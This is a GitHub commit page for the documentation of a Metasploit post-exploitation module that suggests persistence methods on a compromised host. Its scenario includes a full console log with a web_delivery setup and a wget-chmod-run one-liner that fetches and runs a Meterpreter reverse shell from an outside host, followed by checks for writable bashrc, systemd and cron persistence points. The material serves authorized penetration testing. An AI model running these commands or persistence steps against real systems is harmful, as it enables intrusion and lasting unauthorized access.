Skip to content

Commit e855938

Browse files
h00dieh00die
committed
persistence suggester
1 parent a496ad0 commit e855938

File tree

2 files changed

+601
-0
lines changed

2 files changed

+601
-0
lines changed

‎documentation/modules/post/multi/recon/persistence_suggester.md‎

Lines changed: 177 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,177 @@
1+
## Vulnerable Application
2+
3+
This module suggests persistence modules that can be used.
4+
The modules are suggested based on the architecture and platform
5+
that the user has a shell opened as well as the available exploits
6+
in meterpreter.
7+
It's important to note that not all modules will be checked.
8+
Exploits are chosen based on these conditions: session type,
9+
platform, architecture, and required default options.
10+
11+
## Verification Steps
12+
13+
1. Start msfconsole
14+
2. Get a shell/meterpreter on a box
15+
3. Do: `use post/multi/recon/persistence_suggester`
16+
4. Do: `set session #`
17+
5. Do: `run`
18+
6. You should get information about which persistence modules will work.
19+
20+
## Options
21+
22+
### ValidateArch
23+
24+
This option lets us toggle whether or not a mismatch in session and module architecture should be validated or ignored.
25+
26+
### ValidatePlatform
27+
28+
This option lets us toggle whether or not a mismatch in session and module platform should be validated or ignored.
29+
30+
### ValidateMeterpreterCommands
31+
32+
This option lets us toggle whether or not Meterpreter commands that are missing from the current Meterpreter implementation should be validated or ignored.
33+
34+
### Colors
35+
36+
Similar to the option used for `HttpTrace`. This lets us change the colors used to show valid, invalid and ignored options or incompatibilities. Unsetting this option results in no colored output.
37+
38+
## Scenarios
39+
40+
### Ubuntu 24.04 User Shell
41+
42+
#### User Shell
43+
44+
```
45+
└─$ ./msfconsole -q
46+
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
47+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
48+
verbose => true
49+
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
50+
lhost => 1.1.1.1
51+
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
52+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
53+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
54+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
55+
resource (/root/.msf4/msfconsole.rc)> set target 7
56+
target => 7
57+
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
58+
srvport => 8082
59+
resource (/root/.msf4/msfconsole.rc)> set uripath l
60+
uripath => l
61+
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
62+
payload => linux/x64/meterpreter/reverse_tcp
63+
resource (/root/.msf4/msfconsole.rc)> set lport 4446
64+
lport => 4446
65+
resource (/root/.msf4/msfconsole.rc)> run
66+
[*] Exploit running as background job 0.
67+
[*] Exploit completed, but no session was created.
68+
[*] Started reverse TCP handler on 1.1.1.1:4446
69+
[*] Using URL: http://1.1.1.1:8082/l
70+
[*] Server started.
71+
[*] Run the following command on the target machine:
72+
wget -qO fTSGK2Dy --no-check-certificate http://1.1.1.1:8082/l; chmod +x fTSGK2Dy; ./fTSGK2Dy& disown
73+
msf exploit(multi/script/web_delivery) >
74+
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
75+
[*] Transmitting intermediate stager...(126 bytes)
76+
[*] Sending stage (3090404 bytes) to 2.2.2.2
77+
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:34530) at 2025-09-23 16:35:57 -0400
78+
79+
msf exploit(multi/script/web_delivery) > sessions -i 1
80+
[*] Starting interaction with 1...
81+
82+
meterpreter > sysinfo
83+
Computer : 2.2.2.2
84+
OS : Ubuntu 24.04 (Linux 6.8.0-31-generic)
85+
Architecture : x64
86+
BuildTuple : x86_64-linux-musl
87+
Meterpreter : x64/linux
88+
meterpreter > getuid
89+
Server username: ubuntu
90+
meterpreter > background
91+
[*] Backgrounding session 1...
92+
```
93+
94+
#### Persistence Suggester
95+
96+
```
97+
msf exploit(multi/script/web_delivery) > use post/multi/recon/persistence_suggester
98+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
99+
msf post(multi/recon/persistence_suggester) > set session 1
100+
session => 1
101+
msf post(multi/recon/persistence_suggester) > exploit
102+
[*] 2.2.2.2 - Collecting persistence modules for x64/linux...
103+
[*] 2.2.2.2 - The following 15 exploit checks are being tried:
104+
[*] 2.2.2.2 - exploit/linux/persistence/apt_package_manager
105+
[*] 2.2.2.2 - exploit/linux/persistence/autostart
106+
[*] 2.2.2.2 - exploit/linux/persistence/bash_profile
107+
[*] 2.2.2.2 - exploit/linux/persistence/docker_image
108+
[*] 2.2.2.2 - exploit/linux/persistence/init_openrc
109+
[*] 2.2.2.2 - exploit/linux/persistence/init_systemd
110+
[*] 2.2.2.2 - exploit/linux/persistence/kate_plugin
111+
[*] 2.2.2.2 - exploit/linux/persistence/motd
112+
[*] 2.2.2.2 - exploit/linux/persistence/rc_local
113+
[*] 2.2.2.2 - exploit/linux/persistence/yum_package_manager
114+
[*] 2.2.2.2 - exploit/multi/persistence/at
115+
[*] 2.2.2.2 - exploit/multi/persistence/cron
116+
[*] 2.2.2.2 - exploit/multi/persistence/joplin_plugin
117+
[*] 2.2.2.2 - exploit/multi/persistence/obsidian_plugin
118+
[*] 2.2.2.2 - exploit/windows/persistence/image_exec_options
119+
[*] 2.2.2.2 - exploit/linux/persistence/apt_package_manager: The target is not exploitable. /etc/apt/apt.conf.d/ not writable
120+
[*] 2.2.2.2 - exploit/linux/persistence/autostart: The target is not exploitable. Xorg is not installed, likely a server install. Autostart requires a graphical environment
121+
[+] 2.2.2.2 - exploit/linux/persistence/bash_profile: The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc
122+
[*] 2.2.2.2 - exploit/linux/persistence/docker_image: The target is not exploitable. docker is required
123+
[*] 2.2.2.2 - exploit/linux/persistence/init_openrc: The target is not exploitable. /etc/init.d/ isnt writable
124+
[+] 2.2.2.2 - exploit/linux/persistence/init_systemd: The target appears to be vulnerable. /tmp/ is writable and system is systemd based
125+
[*] 2.2.2.2 - exploit/linux/persistence/kate_plugin: The target is not exploitable. Kate not found
126+
[*] 2.2.2.2 - exploit/linux/persistence/motd: The target is not exploitable. /etc/update-motd.d/ is not writable
127+
[*] 2.2.2.2 - exploit/linux/persistence/rc_local: The target is not exploitable. /etc/ isnt writable
128+
[*] 2.2.2.2 - exploit/linux/persistence/yum_package_manager: The target is not exploitable. /usr/local/bin/ not writable
129+
[*] 2.2.2.2 - exploit/multi/persistence/at: The target is not exploitable. does not exist
130+
[+] 2.2.2.2 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
131+
[*] 2.2.2.2 - exploit/multi/persistence/obsidian_plugin: The target is not exploitable. No vaults found
132+
133+
[*] 2.2.2.2 - Valid modules for session 1:
134+
============================
135+
136+
# Name Potentially Vulnerable? Check Result
137+
- ---- ----------------------- ------------
138+
1 exploit/linux/persistence/bash_profile Yes The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc
139+
2 exploit/linux/persistence/init_systemd Yes The target appears to be vulnerable. /tmp/ is writable and system is systemd based
140+
3 exploit/multi/persistence/cron Yes The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
141+
4 exploit/linux/persistence/apt_package_manager No The target is not exploitable. /etc/apt/apt.conf.d/ not writable
142+
5 exploit/linux/persistence/autostart No The target is not exploitable. Xorg is not installed, likely a server install. Autostart requires a graphical environment
143+
6 exploit/linux/persistence/docker_image No The target is not exploitable. docker is required
144+
7 exploit/linux/persistence/init_openrc No The target is not exploitable. /etc/init.d/ isnt writable
145+
8 exploit/linux/persistence/kate_plugin No The target is not exploitable. Kate not found
146+
9 exploit/linux/persistence/motd No The target is not exploitable. /etc/update-motd.d/ is not writable
147+
10 exploit/linux/persistence/rc_local No The target is not exploitable. /etc/ isnt writable
148+
11 exploit/linux/persistence/yum_package_manager No The target is not exploitable. /usr/local/bin/ not writable
149+
12 exploit/multi/persistence/at No The target is not exploitable. does not exist
150+
13 exploit/multi/persistence/obsidian_plugin No The target is not exploitable. No vaults found
151+
152+
153+
[*] 2.2.2.2 - Current Session Info:
154+
[*] 2.2.2.2 - Session Type: meterpreter
155+
[*] 2.2.2.2 - Architecture: x64
156+
[*] 2.2.2.2 - Platform: linux
157+
[*] 2.2.2.2 - Incompatible modules for session 1:
158+
===================================
159+
160+
# Name Reasons Platform Architecture Session Type
161+
- ---- ------- -------- ------------ ------------
162+
1 exploit/multi/persistence/joplin_plugin Not Compatible (platform) Unix cmd meterpreter, shell
163+
2 exploit/windows/persistence/image_exec_options Missing required module options (IMAGE_FILE). Not Compatible (platform) Windows No defined architectures meterpreter
164+
165+
[*] Post module execution completed
166+
msf post(multi/recon/persistence_suggester) > notes
167+
168+
Notes
169+
=====
170+
171+
Time Host Service Port Protocol Type Data
172+
---- ---- ------- ---- -------- ---- ----
173+
2025-09-23 20:29:52 UTC 2.2.2.2 persistence.suggested_module {"exploit/linux/persistence/bash_profile"=>"The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc",
174+
"exploit/linux/persistence/init_systemd"=>"The target appears to be vulnerable. /tmp/ is writable and system is systemd based",
175+
"exploit/multi/persistence/cron"=>"The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found"}
176+
2025-09-23 20:35:56 UTC 2.2.2.2 host.os.session_fingerprint {:name=>"2.2.2.2", :os=>"Ubuntu 24.04 (Linux 6.8.0-31-generic)", :arch=>"x64"}
177+
```

0 commit comments

Comments
 (0)